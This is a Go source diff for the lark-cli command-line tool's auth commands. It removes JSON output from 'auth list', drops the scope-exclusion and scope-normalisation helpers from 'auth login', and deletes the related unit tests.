if payload["ok"] != true {
t.Errorf("stdout.ok = %v, want true", payload["ok"])
}
granted, ok := payload["granted"].([]any)
if !ok || len(granted) != 1 || granted[0] != "im:message" {
t.Errorf("stdout.granted = %v, want [im:message]", payload["granted"])
}
if payload["missing"] != nil {
t.Errorf("stdout.missing = %v, want nil/absent on happy path", payload["missing"])
}
if _, has := payload["suggestion"]; has {
t.Errorf("stdout.suggestion must be absent on happy path; got %v", payload["suggestion"])
}
}
func TestAuthCheckRun_EmptyScopeIsValidationError(t *testing.T) {
// Scope validation is a real input error, not a predicate negative
// answer — it must surface as a typed ValidationError with the normal
// stderr envelope, distinct from the silent ErrBare predicate path.
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
err := authCheckRun(&CheckOptions{Factory: f, Scope: " "})
if err == nil {
t.Fatal("expected validation error for empty --scope")
}
if got := output.ExitCodeOf(err); got != output.ExitValidation {
t.Errorf("exit code = %d, want ExitValidation (%d)", got, output.ExitValidation)
}
}

View File

@@ -4,12 +4,10 @@
package auth
import (
"errors"
"fmt"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
@@ -19,7 +17,6 @@ import (
// ListOptions holds all inputs for auth list.
type ListOptions struct {
Factory *cmdutil.Factory
JSON bool
}
// NewCmdAuthList creates the auth list subcommand.
@@ -36,8 +33,6 @@ func NewCmdAuthList(f *cmdutil.Factory, runF func(*ListOptions) error) *cobra.Co
return authListRun(opts)
},
}
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
cmdutil.SetRisk(cmd, "read")
return cmd
}
@@ -47,39 +42,12 @@ func authListRun(opts *ListOptions) error {
multi, _ := core.LoadMultiAppConfig()
if multi == nil || len(multi.Apps) == 0 {
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
"ok": true,
"users": []map[string]interface{}{},
"reason": "not_configured",
})
return nil
}
// auth list is a read-only probe; the "configured but no users"
// branch below already returns exit 0 with a stderr hint, so we
// keep the same contract here. We still want the hint to be
// workspace-aware, so we pull the message+hint out of
// NotConfiguredError() instead of hard-coding it.
var cfgErr *errs.ConfigError
if errors.As(core.NotConfiguredError(), &cfgErr) {
fmt.Fprintln(f.IOStreams.ErrOut, cfgErr.Message)
if cfgErr.Hint != "" {
fmt.Fprintln(f.IOStreams.ErrOut, " hint: "+cfgErr.Hint)
}
}
fmt.Fprintln(f.IOStreams.ErrOut, "Not configured yet. Run `lark-cli config init` to initialize.")
return nil
}
app := multi.CurrentAppConfig(f.Invocation.Profile)
if app == nil || len(app.Users) == 0 {
if opts.JSON {
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
"ok": true,
"users": []map[string]interface{}{},
"reason": "not_logged_in",
})
return nil
}
fmt.Fprintln(f.IOStreams.ErrOut, "No logged-in users. Run `lark-cli auth login` to log in.")
return nil
}

View File

@@ -1,132 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"encoding/json"
"strings"
"testing"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
)
// TestAuthListRun_NotConfigured_ReturnsExitZero pins the contract that
// `lark-cli auth list` is a read-only probe and must not fail-hard when no
// config exists yet — scripts and AI agents use it as an idempotent "do I
// have any users?" check, so the exit code carries semantic weight. Pair
// that with the existing "configured but no logged-in users" branch (also
// exit 0) and both empty states are consistent.
func TestAuthListRun_NotConfigured_ReturnsExitZero(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
f, _, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authListRun(&ListOptions{Factory: f}); err != nil {
t.Fatalf("auth list should succeed when not configured (exit 0); got: %v", err)
}
// Local workspace → hint must mention init, not bind.
out := stderr.String()
if !strings.Contains(out, "config init") {
t.Errorf("local hint missing config init: %s", out)
}
if strings.Contains(out, "config bind") {
t.Errorf("local hint must not mention config bind: %s", out)
}
}
func TestAuthListRun_JSONMode_NotConfigured_WritesStdoutOnly(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authListRun(&ListOptions{Factory: f, JSON: true}); err != nil {
t.Fatalf("auth list should succeed when not configured (exit 0); got: %v", err)
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
if payload["ok"] != true {
t.Errorf("stdout.ok = %v, want true", payload["ok"])
}
users, ok := payload["users"].([]any)
if !ok || len(users) != 0 {
t.Errorf("stdout.users = %v, want empty array", payload["users"])
}
if payload["reason"] != "not_configured" {
t.Errorf("stdout.reason = %v, want not_configured", payload["reason"])
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
}
}
// TestAuthListRun_NotConfigured_AgentWorkspace_RoutesToBindHelp covers the
// reason this hint exists workspace-aware in the first place: an AI agent
// in OpenClaw / Hermes that probes auth list before binding gets routed to
// `config bind --help` instead of the local-only `config init`.
func TestAuthListRun_NotConfigured_AgentWorkspace_RoutesToBindHelp(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
prev := core.CurrentWorkspace()
t.Cleanup(func() { core.SetCurrentWorkspace(prev) })
core.SetCurrentWorkspace(core.WorkspaceOpenClaw)
f, _, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authListRun(&ListOptions{Factory: f}); err != nil {
t.Fatalf("auth list should still succeed under agent workspace; got: %v", err)
}
out := stderr.String()
if !strings.Contains(out, "config bind --help") {
t.Errorf("agent hint must point at config bind --help: %s", out)
}
if strings.Contains(out, "config init") {
t.Errorf("agent hint must not mention config init: %s", out)
}
}
func TestAuthListRun_JSONMode_NoLoggedInUsers_WritesStdoutOnly(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, nil)
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authListRun(&ListOptions{Factory: f, JSON: true}); err != nil {
t.Fatalf("auth list should succeed when no users exist (exit 0); got: %v", err)
}
var payload map[string]any
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
}
if payload["ok"] != true {
t.Errorf("stdout.ok = %v, want true", payload["ok"])
}
users, ok := payload["users"].([]any)
if !ok || len(users) != 0 {
t.Errorf("stdout.users = %v, want empty array", payload["users"])
}
if payload["reason"] != "not_logged_in" {
t.Errorf("stdout.reason = %v, want not_logged_in", payload["reason"])
}
if stderr.Len() != 0 {
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
}
}
func TestAuthListRun_DefaultMode_NoLoggedInUsers_KeepsTextOutput(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
writeLogoutConfig(t, nil)
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
if err := authListRun(&ListOptions{Factory: f}); err != nil {
t.Fatalf("auth list should succeed when no users exist (exit 0); got: %v", err)
}
if stdout.Len() != 0 {
t.Errorf("stdout must stay empty in default mode, got:\n%s", stdout.String())
}
if !strings.Contains(stderr.String(), "No logged-in users") {
t.Errorf("stderr = %q, want no-users hint", stderr.String())
}
}

View File

@@ -13,12 +13,9 @@ import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/i18n"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/registry"
"github.com/larksuite/cli/shortcuts"
@@ -33,7 +30,6 @@ type LoginOptions struct {
Scope string
Recommend bool
Domains []string
Exclude []string
NoWait bool
DeviceCode string
}
@@ -50,15 +46,13 @@ func NewCmdAuthLogin(f *cmdutil.Factory, runF func(*LoginOptions) error) *cobra.
Long: `Device Flow authorization login.
For AI agents: this command blocks until the user completes authorization in the
browser. If your harness or agent tool only delivers final turn messages, use --no-wait --json,
send the verification URL (or QR code) to the user as your final message, end the turn, then
run --device-code in a later step after the user confirms authorization. Use 'lark-cli auth qrcode'
to generate QR codes (supports ASCII and PNG formats).`,
browser. Run it in the background and retrieve the verification URL from its output.`,
RunE: func(cmd *cobra.Command, args []string) error {
if mode := f.ResolveStrictMode(cmd.Context()); mode == core.StrictModeBot {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"strict mode is %q, user login is disabled in this profile", mode).
WithHint("if the user explicitly wants to switch to user identity, see `lark-cli config strict-mode --help` (confirm with the user before switching; switching does NOT require re-bind)")
return output.Errorf(output.ExitValidation, "strict_mode",
"strict mode is %q, user login is not allowed. "+
"This setting is managed by the administrator and must not be modified by AI agents.",
mode)
}
opts.Ctx = cmd.Context()
if runF != nil {
@@ -68,26 +62,17 @@ to generate QR codes (supports ASCII and PNG formats).`,
},
}
cmdutil.SetSupportedIdentities(cmd, []string{"user"})
cmdutil.SetRisk(cmd, "write")
cmd.Flags().StringVar(&opts.Scope, "scope", "", "scopes to request (space- or comma-separated). Combines additively with --domain/--recommend")
cmd.Flags().StringVar(&opts.Scope, "scope", "", "scopes to request (space-separated)")
cmd.Flags().BoolVar(&opts.Recommend, "recommend", false, "request only recommended (auto-approve) scopes")
var helpBrand core.LarkBrand
if f != nil && f.Config != nil {
if cfg, err := f.Config(); err == nil && cfg != nil {
helpBrand = cfg.Brand
}
}
available := sortedKnownDomains(helpBrand)
available := sortedKnownDomains()
cmd.Flags().StringSliceVar(&opts.Domains, "domain", nil,
fmt.Sprintf("domain (repeatable or comma-separated, e.g. --domain calendar,task)\navailable: %s, all", strings.Join(available, ", ")))
cmd.Flags().StringSliceVar(&opts.Exclude, "exclude", nil,
"scopes to exclude from the request (repeatable or comma-separated, e.g. --exclude drive:file:download)")
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
cmd.Flags().BoolVar(&opts.NoWait, "no-wait", false, "initiate device authorization and return immediately; use --device-code to complete")
cmd.Flags().StringVar(&opts.DeviceCode, "device-code", "", "poll and complete authorization with a device code from a previous --no-wait call")
cmdutil.RegisterFlagCompletion(cmd, "domain", func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
_ = cmd.RegisterFlagCompletionFunc("domain", func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
return completeDomain(toComplete), cobra.ShellCompDirectiveNoFileComp
})
@@ -124,7 +109,7 @@ func authLoginRun(opts *LoginOptions) error {
}
// Determine UI language from saved config
var lang i18n.Lang
lang := "zh"
if multi, _ := core.LoadMultiAppConfig(); multi != nil {
if app := multi.FindApp(config.ProfileName); app != nil {
lang = app.Lang
@@ -149,43 +134,39 @@ func authLoginRun(opts *LoginOptions) error {
// Expand --domain all to all available domains (from_meta projects + shortcut services)
for _, d := range selectedDomains {
if strings.EqualFold(d, "all") {
selectedDomains = sortedKnownDomains(config.Brand)
selectedDomains = sortedKnownDomains()
break
}
}
// Validate domain names and suggest corrections for unknown ones
if len(selectedDomains) > 0 {
knownDomains := allKnownDomains(config.Brand)
knownDomains := allKnownDomains()
for _, d := range selectedDomains {
if !knownDomains[d] {
if suggestion := suggestDomain(d, knownDomains); suggestion != "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "unknown domain %q, did you mean %q?", d, suggestion).WithParam("--domain")
return output.ErrValidation("unknown domain %q, did you mean %q?", d, suggestion)
}
available := make([]string, 0, len(knownDomains))
for k := range knownDomains {
available = append(available, k)
}
sort.Strings(available)
return errs.NewValidationError(errs.SubtypeInvalidArgument, "unknown domain %q, available domains: %s", d, strings.Join(available, ", ")).WithParam("--domain")
return output.ErrValidation("unknown domain %q, available domains: %s", d, strings.Join(available, ", "))
}
}
}
hasAnyOption := opts.Scope != "" || opts.Recommend || len(selectedDomains) > 0
if len(opts.Exclude) > 0 && !hasAnyOption {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--exclude requires --scope, --domain, or --recommend to be specified").WithParam("--exclude")
}
if !hasAnyOption {
if !opts.JSON && f.IOStreams.IsTerminal {
result, err := runInteractiveLogin(f.IOStreams, lang.Base(), msg, config.Brand)
result, err := runInteractiveLogin(f.IOStreams, lang, msg)
if err != nil {
return err
}
if result == nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "no login options selected")
return output.ErrValidation("no login options selected")
}
selectedDomains = result.Domains
scopeLevel = result.ScopeLevel
@@ -200,28 +181,25 @@ func authLoginRun(opts *LoginOptions) error {
log("View all options:")
log(msg.HintFooter)
log("")
log("Note: this command blocks until authorization is complete. For non-streaming agent harnesses, use --no-wait --json, send the verification URL as the final message of the turn, then run --device-code in a later step after the user confirms authorization.")
return errs.NewValidationError(errs.SubtypeInvalidArgument, "please specify the scopes to authorize").WithParam("--scope")
log("Note: this command blocks until authorization is complete. Run it in the background and retrieve the verification URL from its output.")
return output.ErrValidation("please specify the scopes to authorize")
}
}
// Normalize --scope so users can pass either OAuth-standard space-separated
// values or the more natural comma-separated list. RFC 6749 §3.3 mandates
// space-delimited scopes in the wire request, so the device authorization
// endpoint rejects raw "a,b" strings as a single malformed scope.
finalScope := normalizeScopeInput(opts.Scope)
finalScope := opts.Scope
// Resolve scopes from domain/permission filters and merge with --scope.
// --scope, --domain, and --recommend combine additively so callers can,
// for example, request all `docs` scopes plus a few specific `drive`
// scopes in a single command.
// Resolve scopes from domain/permission filters
if len(selectedDomains) > 0 || opts.Recommend {
if opts.Scope != "" {
return output.ErrValidation("cannot use --scope together with --domain/--recommend")
}
var candidateScopes []string
if len(selectedDomains) > 0 {
candidateScopes = collectScopesForDomains(selectedDomains, "user", config.Brand)
candidateScopes = collectScopesForDomains(selectedDomains, "user")
} else {
// --recommend without --domain: all domains
candidateScopes = collectScopesForDomains(sortedKnownDomains(config.Brand), "user", config.Brand)
candidateScopes = collectScopesForDomains(sortedKnownDomains(), "user")
}
// Filter to auto-approve scopes if --recommend or interactive "common"
@@ -229,35 +207,11 @@ func authLoginRun(opts *LoginOptions) error {
candidateScopes = registry.FilterAutoApproveScopes(candidateScopes)
}
if len(candidateScopes) == 0 && opts.Scope == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "no matching scopes found, check domain/scope options")
if len(candidateScopes) == 0 {
return output.ErrValidation("no matching scopes found, check domain/scope options")
}
// Merge --scope additively with the resolved domain scopes.
merged := make(map[string]bool, len(candidateScopes)+len(strings.Fields(finalScope)))
for _, s := range candidateScopes {
merged[s] = true
}
for _, s := range strings.Fields(finalScope) {
merged[s] = true
}
finalScope = joinSortedScopeSet(merged)
}
// Apply --exclude on top of the resolved scope set. We honour exclude
// regardless of whether scopes came from --scope, --domain, --recommend,
// or any combination thereof.
if len(opts.Exclude) > 0 {
excluded, unknown := applyExcludeScopes(finalScope, opts.Exclude)
if len(unknown) > 0 {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"these --exclude scopes are not present in the requested set: %s",
strings.Join(unknown, ", ")).WithParam("--exclude")
}
finalScope = excluded
if strings.TrimSpace(finalScope) == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "no scopes left after applying --exclude; nothing to authorize").WithParam("--exclude")
}
finalScope = strings.Join(candidateScopes, " ")
}
// Step 1: Request device authorization
@@ -267,7 +221,7 @@ func authLoginRun(opts *LoginOptions) error {
}
authResp, err := larkauth.RequestDeviceAuthorization(httpClient, config.AppID, config.AppSecret, config.Brand, finalScope, f.IOStreams.ErrOut)
if err != nil {
return errs.NewAuthenticationError(errs.SubtypeUnknown, "device authorization failed: %v", err).WithCause(err)
return output.ErrAuth("device authorization failed: %v", err)
}
// --no-wait: return immediately with device code and URL
@@ -279,28 +233,17 @@ func authLoginRun(opts *LoginOptions) error {
"verification_url": authResp.VerificationUriComplete,
"device_code": authResp.DeviceCode,
"expires_in": authResp.ExpiresIn,
"hint": "**MUST generate QR code AND display it:** You MUST call lark-cli auth qrcode to convert verification_url into a QR code. This is a required step, do NOT skip it. Prefer PNG QR code (--output); use ASCII (--ascii) only when the user explicitly requests it." +
"**CRITICAL: You MUST include the QR image in your response.** Generating the file alone is NOT enough—use image tags, inline images, or file attachments to display it." +
"**Display order:** Output the URL first, then place the QR code image below the URL." +
"**URL Output Rules:** Treat verification_url as an opaque string that cannot be modified. Do NOT URL-encode/decode or add spaces/punctuation." +
"For agent harnesses that only deliver final turn messages, make the QR code image (or URL) the final message of the turn and return control to the user; do not block on --device-code in the same turn. **Before ending the turn, tell the user to come back and notify you after completing authorization.**" +
"**After the user confirms authorization:** YOU must execute `lark-cli auth login --device-code <device_code>` yourself." +
"**Do NOT cache verification_url or device_code for future use.** Always run `lark-cli auth login --no-wait --json` fresh when authorization is needed.",
"hint": fmt.Sprintf("Show verification_url to user, then immediately execute: lark-cli auth login --device-code %s (blocks until authorized or timeout). Do not instruct the user to run this command themselves.", authResp.DeviceCode),
}
encoder := json.NewEncoder(f.IOStreams.Out)
encoder.SetEscapeHTML(false)
if err := encoder.Encode(data); err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "failed to write JSON output: %v", err).WithCause(err)
return output.Errorf(output.ExitInternal, "internal", "failed to write JSON output: %v", err)
}
return nil
}
// Step 2: Show user code and verification URL.
// JSON mode embeds AgentTimeoutHint as a structured field so agents that
// capture stdout into a JSON parser see it without stream-mixing surprises.
// Text mode prints the hint to stderr only when running under a non-TTY
// (i.e. piped / agent harness), since humans reading a terminal don't need
// the agent-oriented instructions.
// Step 2: Show user code and verification URL
if opts.JSON {
data := map[string]interface{}{
"event": "device_authorization",
@@ -308,19 +251,15 @@ func authLoginRun(opts *LoginOptions) error {
"verification_uri_complete": authResp.VerificationUriComplete,
"user_code": authResp.UserCode,
"expires_in": authResp.ExpiresIn,
"agent_hint": msg.AgentTimeoutHint,
}
encoder := json.NewEncoder(f.IOStreams.Out)
encoder.SetEscapeHTML(false)
if err := encoder.Encode(data); err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "failed to write JSON output: %v", err).WithCause(err)
return output.Errorf(output.ExitInternal, "internal", "failed to write JSON output: %v", err)
}
} else {
fmt.Fprintf(f.IOStreams.ErrOut, msg.OpenURL)
fmt.Fprintf(f.IOStreams.ErrOut, " %s\n\n", authResp.VerificationUriComplete)
if f.IOStreams != nil && !f.IOStreams.IsTerminal {
fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
}
}
// Step 3: Poll for token
@@ -336,25 +275,25 @@ func authLoginRun(opts *LoginOptions) error {
"event": "authorization_failed",
"error": result.Message,
}); err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "failed to write JSON output: %v", err).WithCause(err)
return output.Errorf(output.ExitInternal, "internal", "failed to write JSON output: %v", err)
}
return output.ErrBare(output.ExitAuth)
}
return errs.NewAuthenticationError(errs.SubtypeUnknown, "authorization failed: %s", result.Message)
return output.ErrAuth("authorization failed: %s", result.Message)
}
if result.Token == nil {
return errs.NewAuthenticationError(errs.SubtypeTokenMissing, "authorization succeeded but no token returned")
return output.ErrAuth("authorization succeeded but no token returned")
}
// Step 6: Get user info
log(msg.AuthSuccess)
sdk, err := f.LarkClient()
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "failed to get SDK: %v", err).WithCause(err)
return output.ErrAuth("failed to get SDK: %v", err)
}
openId, userName, err := getUserInfo(opts.Ctx, sdk, result.Token.AccessToken)
if err != nil {
return errs.NewAuthenticationError(errs.SubtypeUnknown, "failed to get user info: %v", err).WithCause(err)
return output.ErrAuth("failed to get user info: %v", err)
}
scopeSummary := loadLoginScopeSummary(config.AppID, openId, finalScope, result.Token.Scope)
@@ -372,13 +311,13 @@ func authLoginRun(opts *LoginOptions) error {
GrantedAt: now,
}
if err := larkauth.SetStoredToken(storedToken); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "failed to save token: %v", err).WithCause(err)
return output.Errorf(output.ExitInternal, "internal", "failed to save token: %v", err)
}
// Step 8: Update config — overwrite Users to single user, clean old tokens
if err := syncLoginUserToProfile(config.ProfileName, config.AppID, openId, userName); err != nil {
_ = larkauth.RemoveStoredToken(config.AppID, openId)
return err
return output.Errorf(output.ExitInternal, "internal", "failed to update login profile: %v", err)
}
if issue := ensureRequestedScopesGranted(finalScope, result.Token.Scope, msg, scopeSummary); issue != nil {
@@ -407,37 +346,30 @@ func authLoginPollDeviceCode(opts *LoginOptions, config *core.CliConfig, msg *lo
fmt.Fprintf(f.IOStreams.ErrOut, "[lark-cli] [WARN] auth login: failed to remove cached requested scopes: %v\n", err)
}
}
// Skip the stderr hint in JSON mode (the --no-wait call that issued
// the device_code already surfaced it as a JSON field), and also skip it
// when running on an interactive terminal — the agent-oriented
// instructions only matter for piped / harness environments.
if !opts.JSON && f.IOStreams != nil && !f.IOStreams.IsTerminal {
fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
}
log(msg.WaitingAuth)
result := pollDeviceToken(opts.Ctx, httpClient, config.AppID, config.AppSecret, config.Brand,
opts.DeviceCode, 5, 600, f.IOStreams.ErrOut)
opts.DeviceCode, 5, 180, f.IOStreams.ErrOut)
if !result.OK {
if shouldRemoveLoginRequestedScope(result) {
cleanupRequestedScope()
}
return errs.NewAuthenticationError(errs.SubtypeUnknown, "authorization failed: %s", result.Message)
return output.ErrAuth("authorization failed: %s", result.Message)
}
defer cleanupRequestedScope()
if result.Token == nil {
return errs.NewAuthenticationError(errs.SubtypeTokenMissing, "authorization succeeded but no token returned")
return output.ErrAuth("authorization succeeded but no token returned")
}
// Get user info
log(msg.AuthSuccess)
sdk, err := f.LarkClient()
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "failed to get SDK: %v", err).WithCause(err)
return output.ErrAuth("failed to get SDK: %v", err)
}
openId, userName, err := getUserInfo(opts.Ctx, sdk, result.Token.AccessToken)
if err != nil {
return errs.NewAuthenticationError(errs.SubtypeUnknown, "failed to get user info: %v", err).WithCause(err)
return output.ErrAuth("failed to get user info: %v", err)
}
scopeSummary := loadLoginScopeSummary(config.AppID, openId, requestedScope, result.Token.Scope)
@@ -455,13 +387,13 @@ func authLoginPollDeviceCode(opts *LoginOptions, config *core.CliConfig, msg *lo
GrantedAt: now,
}
if err := larkauth.SetStoredToken(storedToken); err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "failed to save token: %v", err).WithCause(err)
return output.Errorf(output.ExitInternal, "internal", "failed to save token: %v", err)
}
// Update config — overwrite Users to single user, clean old tokens
if err := syncLoginUserToProfile(config.ProfileName, config.AppID, openId, userName); err != nil {
_ = larkauth.RemoveStoredToken(config.AppID, openId)
return errs.NewInternalError(errs.SubtypeSDKError, "failed to update login profile: %v", err).WithCause(err)
return output.Errorf(output.ExitInternal, "internal", "failed to update login profile: %v", err)
}
if issue := ensureRequestedScopesGranted(requestedScope, result.Token.Scope, msg, scopeSummary); issue != nil {
@@ -472,22 +404,21 @@ func authLoginPollDeviceCode(opts *LoginOptions, config *core.CliConfig, msg *lo
return nil
}
// syncLoginUserToProfile persists the logged-in user info into the named profile.
func syncLoginUserToProfile(profileName, appID, openID, userName string) error {
multi, err := core.LoadMultiAppConfig()
if err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "load config: %v", err).WithCause(err)
return fmt.Errorf("load config: %w", err)
}
app := findProfileByName(multi, profileName)
if app == nil {
return errs.NewConfigError(errs.SubtypeNotConfigured, "profile %q not found in config", profileName)
return fmt.Errorf("profile %q not found in config", profileName)
}
oldUsers := append([]core.AppUser(nil), app.Users...)
app.Users = []core.AppUser{{UserOpenId: openID, UserName: userName}}
if err := core.SaveMultiAppConfig(multi); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "save config: %v", err).WithCause(err)
return fmt.Errorf("save config: %w", err)
}
for _, oldUser := range oldUsers {
@@ -498,7 +429,6 @@ func syncLoginUserToProfile(profileName, appID, openID, userName string) error {
return nil
}
// findProfileByName returns the AppConfig matching profileName, or nil.
func findProfileByName(multi *core.MultiAppConfig, profileName string) *core.AppConfig {
for i := range multi.Apps {
if multi.Apps[i].ProfileName() == profileName {
@@ -512,7 +442,7 @@ func findProfileByName(multi *core.MultiAppConfig, profileName string) *core.App
// shortcut scopes for the given domain names.
// Domains with auth_domain children are automatically expanded to include
// their children's scopes.
func collectScopesForDomains(domains []string, identity string, brand core.LarkBrand) []string {
func collectScopesForDomains(domains []string, identity string) []string {
scopeSet := make(map[string]bool)
// 1. API scopes from from_meta projects
@@ -531,11 +461,8 @@ func collectScopesForDomains(domains []string, identity string, brand core.LarkB
// 3. Shortcut scopes matching by Service (only include shortcuts supporting the identity)
for _, sc := range shortcuts.AllShortcuts() {
if !shortcuts.IsShortcutServiceAvailable(sc.Service, brand) {
continue
}
if domainSet[sc.Service] && shortcutSupportsIdentity(sc, identity) {
for _, s := range sc.DeclaredScopesForIdentity(identity) {
for _, s := range sc.ScopesForIdentity(identity) {
scopeSet[s] = true
}
}
@@ -553,7 +480,7 @@ func collectScopesForDomains(domains []string, identity string, brand core.LarkB
// allKnownDomains returns all valid auth domain names (from_meta projects +
// shortcut services), excluding domains that have auth_domain set (they are
// folded into their parent domain).
func allKnownDomains(brand core.LarkBrand) map[string]bool {
func allKnownDomains() map[string]bool {
domains := make(map[string]bool)
for _, p := range registry.ListFromMetaProjects() {
if !registry.HasAuthDomain(p) {
@@ -561,9 +488,6 @@ func allKnownDomains(brand core.LarkBrand) map[string]bool {
}
}
for _, sc := range shortcuts.AllShortcuts() {
if !shortcuts.IsShortcutServiceAvailable(sc.Service, brand) {
continue
}
if !registry.HasAuthDomain(sc.Service) {
domains[sc.Service] = true
}
@@ -572,8 +496,8 @@ func allKnownDomains(brand core.LarkBrand) map[string]bool {
}
// sortedKnownDomains returns all valid domain names sorted alphabetically.
func sortedKnownDomains(brand core.LarkBrand) []string {
m := allKnownDomains(brand)
func sortedKnownDomains() []string {
m := allKnownDomains()
domains := make([]string, 0, len(m))
for d := range m {
domains = append(domains, d)
@@ -597,40 +521,6 @@ func shortcutSupportsIdentity(sc common.Shortcut, identity string) bool {
return false
}
// normalizeScopeInput accepts a user-supplied --scope value that may use
// commas, spaces, tabs, or newlines (or any mix) as separators and returns the
// canonical OAuth 2.0 wire form: a single space-joined string with empties
// trimmed and duplicates removed (first occurrence wins; order preserved).
//
// Examples:
//
// "vc:note:read,vc:meeting.meetingevent:read" -> "vc:note:read vc:meeting.meetingevent:read"
// "a, b , c" -> "a b c"
// "a b a" -> "a b"
// "" -> ""
func normalizeScopeInput(raw string) string {
if raw == "" {
return ""
}
// Treat both commas and any whitespace as separators.
fields := strings.FieldsFunc(raw, func(r rune) bool {
return r == ',' || r == ' ' || r == '\t' || r == '\n' || r == '\r'
})
if len(fields) == 0 {
return ""
}
seen := make(map[string]struct{}, len(fields))
out := make([]string, 0, len(fields))
for _, f := range fields {
if _, ok := seen[f]; ok {
continue
}
seen[f] = struct{}{}
out = append(out, f)
}
return strings.Join(out, " ")
}
// suggestDomain finds the best "did you mean" match for an unknown domain.
func suggestDomain(input string, known map[string]bool) string {
// Check common cases: prefix match or input is a substring
@@ -641,58 +531,3 @@ func suggestDomain(input string, known map[string]bool) string {
}
return ""
}
// joinSortedScopeSet returns a deterministic, space-separated scope string
// from a set, sorted alphabetically. Empty/blank scopes are dropped.
func joinSortedScopeSet(set map[string]bool) string {
out := make([]string, 0, len(set))
for s := range set {
if strings.TrimSpace(s) == "" {
continue
}
out = append(out, s)
}
sort.Strings(out)
return strings.Join(out, " ")
}
// applyExcludeScopes removes the provided exclude entries from the requested
// scope string. Each --exclude flag value may itself contain comma- or
// whitespace-separated scopes. Returns the filtered scope string and any
// exclude entries that were not present in the requested set (callers can
// surface those as a validation error to catch typos like
// `--exclude drive:file:downlod`).
func applyExcludeScopes(requested string, excludes []string) (string, []string) {
requestedSet := make(map[string]bool)
for _, s := range strings.Fields(requested) {
requestedSet[s] = true
}
excludeSet := make(map[string]bool)
for _, raw := range excludes {
// --exclude already splits on commas (StringSliceVar), but also
// tolerate whitespace-separated entries inside a single value.
for _, s := range strings.Fields(strings.ReplaceAll(raw, ",", " ")) {
excludeSet[s] = true
}
}
var unknown []string
for s := range excludeSet {
if !requestedSet[s] {
unknown = append(unknown, s)
}
}
if len(unknown) > 0 {
sort.Strings(unknown)
return requested, unknown
}
kept := make(map[string]bool, len(requestedSet))
for s := range requestedSet {
if !excludeSet[s] {
kept[s] = true
}
}
return joinSortedScopeSet(kept), nil
}

View File

@@ -1,32 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"testing"
"github.com/larksuite/cli/internal/core"
)
func TestBrandFilter_AppsExcludedOnLark(t *testing.T) {
feishuDomains := allKnownDomains(core.BrandFeishu)
if !feishuDomains["apps"] {
t.Errorf("expected apps domain to be known on Feishu brand")
}
larkDomains := allKnownDomains(core.BrandLark)
if larkDomains["apps"] {
t.Errorf("expected apps domain to be EXCLUDED on Lark brand")
}
feishuScopes := collectScopesForDomains([]string{"apps"}, "user", core.BrandFeishu)
if len(feishuScopes) == 0 {
t.Errorf("expected non-empty scopes for apps on Feishu brand, got %d", len(feishuScopes))
}
larkScopes := collectScopesForDomains([]string{"apps"}, "user", core.BrandLark)
if len(larkScopes) != 0 {
t.Errorf("expected empty scopes for apps on Lark brand, got %d: %v", len(larkScopes), larkScopes)
}
}

